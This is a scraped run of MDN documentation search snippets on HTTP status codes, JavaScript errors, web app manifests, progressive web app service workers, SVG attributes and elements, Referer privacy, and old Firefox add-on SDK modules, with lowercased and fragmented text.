even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents conform here - you can still find this type of bugged software out there. ...
... even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents conform here - you can still find this type of bugged software out there. ...
308 Permanent Redirect - HTTP
the request method and the body will not be altered, whereas 301 may incorrectly sometimes be changed to a get method. note: some web applications may use the 308 permanent redirect in a non-standard way and for other purposes. ...
... the request method and the body will not be altered, whereas 301 may incorrectly sometimes be changed to a get method. note: some web applications may use the 308 permanent redirect in a non-standard way and for other purposes. ...
HTTP response status codes - HTTP
n of the result of one or more instance-manipulations applied to the current instance. redirection messages 300 multiple choice the request has more than one possible response. the user-agent or user should choose one of them. (there is no standardized way of choosing one of the responses, but html links to the possibilities are recommended so the user can pick.) 301 moved permanently the
url of the requested resource has been changed permanently. the new
url is given in the response. 302 found this response code means that the uri of requested resource has been changed temporarily. further changes in the uri might be made in the future. therefore, this same uri should be used by the client in future requests. 303 see other the server sent this response to direct the client to get...
...systems, however this status code is used very rarely and no standard convention exists. 403 forbidden the client does not have access rights to the content; that is, it is unauthorized, so the server is refusing to give the requested resource. unlike 401, the client's identity is known to the server. 404 not found the server can not find the requested resource. in the browser, this means the
url is not recognized. in an api, this can also mean that the endpoint is valid but the resource itself does not exist. servers may also send this response instead of 403 to hide the existence of a resource from an unauthorized client. this response code is probably the most famous one due to its frequent occurrence on the web. 405 method not allowed the request method is known by the server but ha...
SyntaxError: return not in function - JavaScript
return (or yield) not in function" occurs when a return or yield statement is called outside of a function. message syntaxerror: 'return' statement outside of function (edge) syntaxerror: return not in function (firefox) syntaxerror: yield not in function (firefox) error type syntaxerror. what went wrong? a return or yield statement is called outside of a function. ...
...efox) syntaxerror: yield not in function (firefox) error type syntaxerror. what went wrong? a return or yield statement is called outside of a function. maybe there are missing c
urly brackets somewhere? the return and yield statements must be in a function, because they end (or pause and resume) function execution and specify a value to be returned to the function caller. examples missing c
urly brackets var cheer = function(score) { if (score === 147) return 'maximum!'; }; if (score > 100) { return 'century!'; } } // syntaxerror: return not in function the c
urly brackets look correct at a first glance, but this code snippet is missing a { after the first if statement. correct would be: var cheer = function(score) { if (score === 147) { return 'maximum!'; } ...
JavaScript error reference - JavaScript
-hand sidereferenceerror: reference to undefined property "x"syntaxerror: "0"-prefixed octal literals and octal escape seq. are deprecatedsyntaxerror: "use strict" not allowed in function with non-simple parameterssyntaxerror: "x" is a reserved identifiersyntaxerror: json.parse: bad parsingsyntaxerror: malformed formal parametersyntaxerror: unexpected tokensyntaxerror: using //@ to indicate source
url pragmas is deprecated. use //# insteadsyntaxerror: a declaration in the head of a for-of loop can't have an initializersyntaxerror: applying the "delete" operator to an unqualified name is deprecatedsyntaxerror: for-in loop head declarations may not have initializerssyntaxerror: function statement requires a namesyntaxerror: identifier starts immediately after numeric literalsyntaxerror: illegal ...
...ror: invalid array.prototype.sort argumenttypeerror: invalid argumentstypeerror: invalid assignment to const "x"typeerror: property "x" is non-configurable and can't be deletedtypeerror: setting getter-only property "x"typeerror: variable "x" redeclares argumenturierror: malformed uri sequencewarning: 08/09 is not a legal ecma-262 octal constantwarning: -file- is being assigned a //# sourcemapping
url, but already has onewarning: date.prototype.tolocaleformat is deprecatedwarning: javascript 1.6's for-each-in loops are deprecatedwarning: string.x is deprecated; use string.prototype.x insteadwarning: expression closures are deprecatedwarning: unreachable code after return statement ...
Object initializer - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... a value in json. objects like date will be a string after json.parse(). json.parse() will reject computed property names and an error will be thrown. examples creating objects an empty object with no properties can be created like this: let object = {} however, the advantage of the literal or initializer notation is, that you are able to quickly create objects with properties inside the c
urly braces. you simply notate a list of key: value pairs delimited by commas. the following code creates an object with three properties and the keys are "foo", "age" and "baz". the values of these keys are a string "bar", the number 42, and another object. let object = { foo: 'bar', age: 42, baz: {myprop: 12} } accessing properties once you have created an object, you might want to read o...
shortcuts - Web app manifests
type object mandatory no the shortcuts member defines an array of shortcuts or links to key tasks or pages within a web app. a user agent can use these values to assemble a context menu to be displayed by the operating system when a user engages with the web app's icon. ...
...ithin a web app. a user agent can use these values to assemble a context menu to be displayed by the operating system when a user engages with the web app's icon. when user invokes a shortcut, the user agent will navigate to the address given by shortcut's
url member. examples the following is a list of shortcuts a calendar app might have: "shortcuts" : [ { "name": "today's agenda", "
url": "/today", "description": "list of events planned for today" }, { "name": "new event", "
url": "/create/event" }, { "name": "new reminder", "
url": "/create/reminder" } ] specification specification status comment feedback web app manifestthe definition of 'shortcuts' in that specification. working draft in...
Add to Home screen - Progressive web apps (PWAs)
rtant, the home screen). we've included only one in our demo. name/short_name: these fields provide an app name to be displayed when representing the app in different places. name provides the full app name, and short_name provides a shortened name to be used when there is insufficient space to display the full name. you are advised to provide both if your app's name is particularly long. start_
url: provides a path to the asset that should be loaded when the added-to-home screen app is launched. note that this has to be a relative
url pointing to the site index, relative to the
url of the manifest. also, be aware that chrome requires this before it will display the install banner, whereas firefox doesn't require it for showing the home-with-a-plus icon. the manifest for our sample app loo...
...the home-with-a-plus icon. the manifest for our sample app looks like this: { "background_color": "purple", "description": "shows random fox pictures. hey, at least it isn't cats.", "display": "fullscreen", "icons": [ { "src": "icon/fox-icon.png", "sizes": "192x192", "type": "image/png" } ], "name": "awesome fox pictures", "short_name": "foxes", "start_
url": "/pwa-examples/a2hs/index.html" } appropriate icon as shown in the above manifest listing, we are including a 192 x 192 px icon for use in our app. you can include more sizes if you want; android will choose the most appropriate size for each different use case. you could also decide to include different types of icons so devices can use the best one they are able to (e.g., chrome already sup...
Progressive web app structure - Progressive web apps (PWAs)
nd solid performance while keeping all the benefits of the web. being linkable, progressive and responsive by design it's important to remember the pwa advantages and keep them in mind when designing the application. the app shell approach allows websites to be: linkable: even though it behaves like a native app, it is still a website — you can click on the links within the page and send a
url to someone if you want to share it. progressive: start with the "good, old basic website” and progressively add new features while remembering to detect if they are available in the browser and gracefully handle any errors that crop up if support is not available. for example, an offline mode with the help of service workers is just an extra trait that makes the website experience better, but ...
...r] caching all: app shell and content'); return cache.addall(contenttocache); }) ); }); last of all, the service worker fetches content from the cache if it is available there, providing offline functionality: self.addeventlistener('fetch', function(e) { e.respondwith( caches.match(e.request).then(function(r) { console.log('[service worker] fetching resource: '+e.request.
url); return r || fetch(e.request).then(function(response) { return caches.open(cachename).then(function(cache) { console.log('[service worker] caching new resource: '+e.request.
url); cache.put(e.request, response.clone()); return response; }); }); }) ); }); the javascript data the games data is present in the data folder in a form of ...
Structural overview of progressive web apps - Progressive web apps (PWAs)
d solid performance while keeping all the benefits of the web. being linkable, progressive, and responsive by design it's important to remember the pwa advantages and keep them in mind when designing the application. the app shell approach allows websites to be: linkable: even though it behaves like a native app, it is still a website — you can click on the links within the page and send a
url to someone if you want to share it. progressive: start with the "good, old basic website” and progressively add new features while remembering to detect if they are available in the browser and gracefully handle any errors that crop up if support is not available. for example, an offline mode with the help of service workers is just an extra trait that makes the website experience better, but ...
... ); }); with that done, we implement the service worker's fetch event handler; its job is to return the contents of the specified file, either from the cache or by loading it over the network (caching it upon doing so): self.addeventlistener('fetch', function(e) { e.respondwith( caches.match(e.request).then(function(r) { console.log('[service worker] fetching resource: '+e.request.
url); return r || fetch(e.request).then(function(response) { return caches.open(cachename).then(function(cache) { console.log('[service worker] caching new resource: '+e.request.
url); cache.put(e.request, response.clone()); return response; }); }); }) ); }); auxiliary javascript file: games.js the games data for this app example is pr...
baseFrequency - SVG: Scalable Vector Graphics
> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.05" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number-optional-number> default value 0 animatable yes <number-optional-number> if two numbers are provided, the first one represents the base frequency in the horizontal direction and the second one...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'basefrequency' in that specification. recommendation initial definition ...
clip-path - SVG: Scalable Vector Graphics
this is the same as having a custom clipping path with a clippathunits set to objectboundingbox --> <rect x="11" y="1" width="8" height="8" stroke="green" clip-path="circle() fill-box" /> <!-- bottom-left --> <rect x="1" y="11" width="8" height="8" stroke="green" clip-path="circle(...
...dth="8" height="8" stroke="green" clip-path="circle() stroke-box" /> <!-- bottom-right: apply a css basic shape on a view-box geometry. ...
clip-rule - SVG: Scalable Vector Graphics
te basically works as the fill-rule attribute, except that it applies to <clippath> definitions. the following fragment of code will cause an evenodd clipping rule to be applied to the clipping path because clip-rule is specified on the <path> element that defines the clipping shape: <g> <clippath id="myclip"> <path d="..." clip-rule="evenodd" /> </clippath> <rect clip-path="
url(#myclip)" ... /> </g> whereas the following fragment of code will not cause an evenodd clipping rule to be applied because the clip-rule is specified on the referencing element, not on the object defining the clipping shape: <g> <clippath id="myclip"> <path d="..." /> </clippath> <rect clip-path="
url(#myclip)" clip-rule="evenodd" ... /> </g> as a presentation attribute, i...
...property. evenodd see description of fill-rule property. example <svg width="100" viewbox="0 0 100 90" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- define star path --> <defs> <path d="m50,0 21,90 98,35 2,35 79,90z" id="star" /> </defs> <!-- left: evenodd --> <clippath id="emptystar"> <use xlink:href="#star" clip-rule="evenodd" /> </clippath> <rect clip-path="
url(#emptystar)" width="50" height="90" fill="blue" /> <!-- right: nonzero --> <clippath id="filledstar"> <use xlink:href="#star" clip-rule="nonzero" /> </clippath> <rect clip-path="
url(#filledstar)" width="50" height="90" x="50" fill="red" /> </svg> elements the following elements can use the clip-rule attribute, but only if they are inside a <clippath> element. graphical elemen...
fr - SVG: Scalable Vector Graphics
"5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="25%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="
url(#gradient1)" /> <circle cx="100" cy="100" r="100" fill="
url(#gradient2)" style="transform: translatex(240px);" /> </svg> usage notes value <length> default value 0 animatable none example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" ...
...example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="
url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sa...
in - SVG: Scalable Vector Graphics
tp://www.w3.org/1999/xlink"> <defs> <filter id="backgroundmultiply"> <!-- this will not work. --> <feblend in="backgroundimage" in2="sourcegraphic" mode="multiply"/> </filter> </defs> <image xlink:href="https://developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:
url(#backgroundmultiply);" /> </svg> <svg style="width:200px; height:200px; display: inline;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="imagemultiply"> <!-- this is a workaround. --> <feimage xlink:href="https://developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> <feblend ...
...g" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="imagemultiply"> <!-- this is a workaround. --> <feimage xlink:href="https://developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> <feblend in2="sourcegraphic" mode="multiply"/> </filter> </defs> <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:
url(#imagemultiply);"/> </svg> </div> result specifications specification status comment filter effects module level 1the definition of 'in' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'in' in that specification. recommendation initial definition ...
mode - SVG: Scalable Vector Graphics
specifications specifica...
... specifications specification status comment filter effects module level 1the definition of 'mode' in that specification. working draft no change ...
operator - SVG: Scalable Vector Graphics
value over | in | out | atop | xor | lighter | arithmetic default value over animatable yes over this value indicates that the source graphic defined in th...
... value over | in | out | atop | xor | lighter | arithmetic default value over animatable yes over this value indicates that the source graphic defined in the in attribute is placed over the destination graphic defin...
order - SVG: Scalable Vector Graphics
the values provided must be <intege...
...the values provided must be <integer>s greater than zero. values that are not integers will be truncated, i.e. ro...
patternUnits - SVG: Scalable Vector Graphics
value userspaceonuse | objectboundingbox default value objectboundingbox animat...
... value userspaceonuse | objectboundingbox default value objectboundingbox animatable yes userspaceonuse this value indicates that all coordinates for the geometry properties refer to the use...
requiredExtensions - SVG: Scalable Vector Graphics
the requiredextensions attribute defines a list of required language extensions. language extensions are capabilities within a user agent that go beyond the feature set defined in this specification. each extension is identified by an
url reference. usage notes value <list-of-extensions> default value none animatable no <list-of-extensions> the value is a list of references (iri references in svg 1,
url references in svg 2) which identify the required extensions, with the individual values separated by white space. determines whether all of the named extensions are supported by the user agent. if all of the given extensions are supported, then the attribute evaluates to true; otherwise, the current element and its children are skipped and thu...
... recommendation initial definition ...
scale - SVG: Scalable Vector Graphics
when the value of this attribute is 0, this operation has no effect on t...
... when the value of this attribute is 0, this operation has no effect on the source image. specifications specification status comment...
seed - SVG: Scalable Vector Graphics
{ height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="100" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence basefreque...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'seed' in that specification. recommendation initial definition ...
specularExponent - SVG: Scalable Vector Graphics
value <number> default value 1 animatable yes fespotlight for <fespotlight>, specu...
... value <number> default value 1 animatable yes fespotlight for <fespotlight>, specularexponent defines the exponent value controlling the focus for the light source. v...
stitchTiles - SVG: Scalable Vector Graphics
vg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="nostitch" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="stitch" /> </filter> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise1);" /> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise1); transform: translate(100px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise1); transform: translate(0, 100px);" /> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise1); transform: translate(100px, 100px);" /> <rect x="0" y="0" width="100" height="100" style...
..." /> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise1); transform: translate(100px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise1); transform: translate(0, 100px);" /> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise1); transform: translate(100px, 100px);" /> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise2); transform: translate(220px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise2); transform: translate(320px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise2); transform: translate(220px, 100px);" /> <rect x="0" y="0" width="100" height="100" style="filter:
url(#noise2); transform: translate(320px, 100px);" /> </svg> usag...
surfaceScale - SVG: Scalable Vector Graphics
value <number> default value 1 animatable yes fediffuselighting for <fediffuselighting>, surfacescale defin...
... value <number> default value 1 animatable yes fediffuselighting for <fediffuselighting>, surfacescale defines the height of the surface. value <number> default value 1 ...
y1 - SVG: Scalable Vector Graphics
ns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector start at the top left corner of the bounding box of the shape it is applied to. ...
... candidate recommendation definition for <line> scalable vector graphics (svg) 2the definition of 'y1' in that specification. ...
y2 - SVG: Scalable Vector Graphics
lns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector end at the top right corner of the bounding box of the shape it is applied to. ...
... candidate recommendation definition for <line> scalable vector graphics (svg) 2the definition of 'y2' in that specification. ...
z - SVG: Scalable Vector Graphics
value <number> default value 1 ...
... value <number> default value 1 animatable yes fespotlight for <fespotlight>, z defines the location ...
<feComponentTransfer> - SVG: Scalable Vector Graphics
mplitude="4" exponent="4" offset="0"></fefuncg> <fefuncb type="gamma" amplitude="4" exponent="1" offset="0"></fefuncb> </fecomponenttransfer> </filter> </defs> <g font-weight="bold"> <text x="0" y="20">default</text> <rect x="0" y="30" width="100%" height="20"></rect> <text x="0" y="70">identity</text> <rect x="0" y="80" width="100%" height="20" style="filter:
url(#identity)"></rect> <text x="0" y="120">table lookup</text> <rect x="0" y="130" width="100%" height="20" style="filter:
url(#table)"></rect> <text x="0" y="170">discrete table lookup</text> <rect x="0" y="180" width="100%" height="20" style="filter:
url(#discrete)"></rect> <text x="0" y="220">linear function</text> <rect x="0" y="230" width="100%" height="20" style="filter:u...
...l(#table)"></rect> <text x="0" y="170">discrete table lookup</text> <rect x="0" y="180" width="100%" height="20" style="filter:
url(#discrete)"></rect> <text x="0" y="220">linear function</text> <rect x="0" y="230" width="100%" height="20" style="filter:
url(#linear)"></rect> <text x="0" y="270">gamma function</text> <rect x="0" y="280" width="100%" height="20" style="filter:
url(#gamma)"></rect> </g> </svg> css rect { fill:
url(#rainbow); } result specifications specification status comment filter effects module level 1the definition of '<fecomponenttransfer>' in that specification. working draft specified that missing transfer function elements are treated like they were specified with their type attributes set to identity. ...
<feGaussianBlur> - SVG: Scalable Vector Graphics
ments the svgfegaussianblurelement interface. ...
... working draft added edgemode attribute scalable vector graphics (svg) 1.1 (second edition)the definition of '<fegaussianblur>' in that specification. recommendatio...
<image> - SVG: Scalable Vector Graphics
ments. it can display raster image files or other svg files. the only image formats svg software must support are jpeg, png, and other svg files. animated gif behavior is undefined. svg files displayed with <image> are treated as an image: external resources aren't loaded, :visited styles aren't applied, and they cannot be interactive. to include dynamic svg elements, try <use> with an external
url. to include svg files and run scripts inside them, try <object> inside of <foreignobject>. note: the html spec defines <image> as a synonym for <img> while parsing html. this specific element and its behavior only apply inside svg documents or inline svg. usage context categoriesgraphics element, graphics referencing elementpermitted contentany number of the following elements, in any order:...
...tes class style externalresourcesrequired transform specific attributes x: positions the image horizontally from the origin. y: positions the image vertically from the origin. width: the width the image renders at. unlike html's <img>, this attribute is required. height: the height the image renders at. unlike html's <img>, this attribute is required. href and xlink:href: points at a
url for the image file. preserveaspectratio: controls how the image is scaled. dom interface <image> implements the svgimageelement interface. example basic rendering of a png image in svg: svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" height="20...
<linearGradient> - SVG: Scalable Vector Graphics
value type: <transform-list> ; default value: identity transf...
...: userspaceonuse|objectboundingbox ; default value: objectboundingbox; animatable: yes gradienttransform this attribute provides additional transformation to the gradient coordinate system. value type: <transform-list> ; default value: identity transform; animatable: yes href this attribute defines a reference to another <lineargradient> element that will be used as a template. value type: <
url> ; default value: none; animatable: yes spreadmethod this attribute indicates how the gradient behaves if it starts or ends inside the bounds of the shape containing the gradient. value type: pad|reflect|repeat ; default value: pad; animatable: yes x1 this attribute defines the x coordinate of the starting point of the vector gradient along which the linear gradient is drawn. value type: <l...
<radialGradient> - SVG: Scalable Vector Graphics
vg elements. html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="mygradient"> <stop offset="10%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </radialgradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="
url('#mygradient')" /> </svg> attributes cx this attribute defines the x coordinate of the end circle of the radial gradient. value type: <length> ; default value: 50%; animatable: yes cy this attribute defines the y coordinate of the end circle of the radial gradient. value type: <length> ; default value: 50%; animatable: yes fr this attribute defines the radius of the start circle of ...
...: userspaceonuse|objectboundingbox ; default value: objectboundingbox; animatable: yes gradienttransform this attribute provides additional transformation to the gradient coordinate system. value type: <transform-list> ; default value: identity transform; animatable: yes href this attribute defines a reference to another <lineargradient> element that will be used as a template. value type: <
url> ; default value: none; animatable: yes r this attribute defines the radius of the end circle of the radial gradient. the gradient will be drawn such that the 100% <stop> is mapped to the perimeter of the end circle. value type: <length> ; default value: 50%; animatable: yes spreadmethod this attribute indicates how the gradient behaves if it starts or ends inside the bounds of the shape con...
SVG documentation index - SVG: Scalable Vector Graphics
h to be used when drawing horizontally oriented text. 103 horiz-origin-y deprecated, svg, svg attribute the horiz-origin-y attribute indicates the y-coordinate in the font coordinate system of the origin of a glyph to be used when drawing horizontally oriented text. 104 href svg, svg attribute the href attribute defines a link to a resource as a reference
url. the exact meaning of that link depends on the context of each element using it. 105 id svg, svg attribute the id attribute assigns a unique name to an element. 106 ideographic deprecated, svg, svg attribute the ideographic attribute indicates the alignment coordinate for glyphs to achieve ideographic baseline alignment for horizontally oriented glyph lay...
... are created using a wide array of elements which are dedicated to the construction, drawing, and layout of vector images and diagrams. here you'll find reference documentation for each of the svg elements. 294 <a> element, reference, svg, svg container the <a> svg element creates a hyperlink to other web pages, files, locations in the same page, email addresses, or any other
url. it is very similar to html’s <a> element. 295 <altglyph> deprecated, element, reference, svg, svg text content the <altglyph> svg element allows sophisticated selection of the glyphs used to render its child character data. 296 <altglyphdef> deprecated, element, needsexample, reference, svg, svg text content the <altglyphdef> svg element defines a subs...
Clipping and masking - SVG: Scalable Vector Graphics
ncy and grey values of the mask into account. creating clips we create the above mentioned semicircle based on a circle element: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <clippath id="cut-off-bottom"> <rect x="0" y="0" width="200" height="100" /> </clippath> </defs> <circle cx="100" cy="100" r="100" clip-path="
url(#cut-off-bottom)" /> </svg> centered at (100,100) a circle with radius 100 is painted. the attribute clip-path references a <clippath> element with a single rect element. this rectangular on its own would paint the upper half of the canvas black. note, that the clippath element is usually placed in a defs section. the rect will not be painted, however. instead its pixel data will be used to de...
...hieve this effect quite quickly with masks. <svg width="200" height="200" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="gradient"> <stop offset="0" stop-color="black" /> <stop offset="1" stop-color="white" /> </lineargradient> <mask id="mask"> <rect x="0" y="0" width="200" height="200" fill="
url(#gradient)" /> </mask> </defs> <rect x="0" y="0" width="200" height="200" fill="green" /> <rect x="0" y="0" width="200" height="200" fill="red" mask="
url(#mask)" /> </svg> you see a green-filled rect at the lowest layer and on top a red-filled rect. the latter has the mask attribute pointing to the mask element. the content of the mask is a single rect element, that is filled with a...
SVG In HTML Introduction - SVG: Scalable Vector Graphics
the only interesting part is the <svg> element it contains. this element and its children are declared to be in the svg namespace. the element contains a gradient and two shapes filled with the gradient. the gradient color stops h...
...the only interesting part is the <svg> element it contains. this element and its children are declared to be in the svg namespace. the element contains a gradient and two shapes filled with the gradient. the gradient color stops have their colors set by css. when the user enters something inco...
SVG and CSS - SVG: Scalable Vector Graphics
gradientunits="userspaceonuse"> <stop id="fade-stop-1" offset="33%"/> <stop id="fade-stop-2" offset="95%"/> </radialgradient> </defs> <text id="heading" x="-280" y="-270">svg demonstration</text> <text id="caption" x="-280" y="-250">move your mouse pointer over the flower.</text> <g id="flower"> <circle id="overlay" cx="0" cy="0" r="200" stroke="none" fill="
url(#fade)"/> <g id="outer-petals"> <g class="quadrant"> <g class="segment"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,-200 a40,40 0 0,0 -62,10"/> </g> <g class="segment" transform="rotate(18)"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path clas...
...the stylesheet only modifies the display in certain ways. this is also true for html and xul documents. but you can use css for g...
Referer header: privacy and security concerns - Web security
s, logging, or optimized caching. however, there are more problematic uses such as tracking or stealing information, or even just side effects such as inadvertently leaking sensitive information. for example, consider a "reset password" page with a social media link in a footer. if the link was followed, depending on how information was shared the social media site may receive the reset password
url and may still be able to use the shared information, potentially compromising a user's security. by the same logic, an image hosted on a third party side but embedded in your page could result in sensitive information being leaked to the third party. even if security is not compromised, the information may not be something the user wants shared. how can we fix this? much of this risk can be mi...
..., an image hosted on a third party side but embedded in your page could result in sensitive information being leaked to the third party. even if security is not compromised, the information may not be something the user wants shared. how can we fix this? much of this risk can be mitigated by sensible design of applications. a sensible application would remove such risks by making password reset
urls only usable for a single use, or when combined with a unique user token, and transmitting sensitive data in different ways. you should use post rather than get wherever possible, to avoid passing sensitive data to other locations via
urls. you should always use https for your sites. this has many security advantages, including the fact that https sites will never transmit referer information t...
self - Archive of obsolete content
add-on to access its data files and id. self properties options content-scripting apis such as tab.attach(), page-mod, and page-worker let you pass read-only data to the content script as a json object via the contentscriptoptions option. if you do this, the data is available to the content script in the options property of self: // main.js const tabs = require("sdk/tabs"); tabs.open({
url: "./page.html", onready: function(tab) { tab.attach({ contentscriptfile: "./content-script.js", contentscriptoptions: { a: "blah" } }); } }); // content-script.js alert(self.options.a); port you can use port to receive messages from, and send messages to, the main add-on code. see the documentation for port. methods the self object has four methods, whi...
Communicating using "port" - Archive of obsolete content
is only available from firefox 29 onwards. for example, here's an add-on that creates a page-worker and a button. the page-worker loads http://en.wikipedia.org/wiki/chalk alongside a content script "listener.js". the button sends the content script a message called "get-first-para" when it is clicked: pageworker = require("sdk/page-worker").page({ contentscriptfile: require("sdk/self").data.
url("listener.js"), content
url: "http://en.wikipedia.org/wiki/chalk" }); require("sdk/ui/button/action").actionbutton({ id: "get-first-para", label: "get-first-para", icon: "./icon-16.png", onclick: function() { console.log("sending 'get-first-para'"); pageworker.port.emit("get-first-para"); } }); the content script "listener.js" listens for "get-first-para". when it receives t...
Working with Events - Archive of obsolete content
he listener function is the object that emitted the event. listening to all events you can pass the wildcard "*" as the type argument. if you do this, the listener will be called for any event emitted by that object, and its argument will be the name of the event: var ui = require("sdk/ui"); var panels = require("sdk/panel"); var self = require("sdk/self"); var panel = panels.panel({ content
url: self.data.
url("panel.html") }); panel.on("*", function(e) { console.log("event " + e + " was emitted"); }); var button = ui.actionbutton({ id: "my-button", label: "my button", icon: "./icon-16.png", onclick: handleclick }); function handleclick(state) { panel.show({ position: button }); } this wildcard feature does not yet work for the tabs or windows modules. adding liste...
XUL Migration Guide - Archive of obsolete content
module gives you direct access to chrome windows, including the browser's chrome window. here's a really simple example add-on that modifies the browser chrome using window/utils: function removeforwardbutton() { var window = require("sdk/window/utils").getmostrecentbrowserwindow(); var forward = window.document.getelementbyid('forward-button'); var parent = window.document.getelementbyid('
urlbar-container'); parent.removechild(forward); } require("sdk/ui/button/action").actionbutton({ id: "remove-forward-button", label: "remove forward button", icon: "./icon-16.png", onclick: removeforwardbutton }); there are more useful examples of this technique in the jetpack wiki's collection of third party modules. accessing tabbrowser this example uses the action button api, whic...
addon-page - Archive of obsolete content
ly relevant and distract from the content you are presenting. the addon-page module provides a simple way to have a page which excludes these elements. to use the module import it using require(). after this, the page loaded from "data/index.html" will not contain navigational elements: var addontab = require("sdk/addon-page"); var data = require("sdk/self").data; require("sdk/tabs").open(data.
url("index.html")); this only affects the page at "data/index.html": all other pages are displayed normally. ...
clipboard - Archive of obsolete content
wxwlweaaaaagpsa3rzdaaaaahgpcgrpganzq2fg" + "bwrr9aaaaabjru5erkjggg%3d%3d"); if the clipboard contains an image, open it in a new tab. var clipboard = require("sdk/clipboard"); if (clipboard.currentflavors.indexof("image") != -1) require("sdk/tabs").open(clipboard.get()); as noted before, data type can be easily omitted for images. if the intention is set the clipboard to a data
url as string and not as image, it can be done by specifying a different flavor, like text. var clipboard = require("sdk/clipboard"); clipboard.set("data:image/png;base64,ivborw0kggoaaaansuheugaaacaaaaagcaya" + "aabzenr0aaaasuleqvryhe3o0qkaiawd0eyqe3q993aq3cbsukpygfsnty" + "n5ugbqpk0baadgp0brdwxwlweaaaaagpsa3rzdaaaaahgpcgrpganzq2fg" + "bwrr9aaaaabjru5erkjgg...
querystring - Archive of obsolete content
separator between each name:value pair. by default this is "&". assignment : string the string to use between each name and its corresponding value. by default this is "=". returns object : an object containing the components of the query string as name : value pairs. escape(query) the escape function used by stringify to encodes a string safely matching rfc 3986 for application/x-www-form-
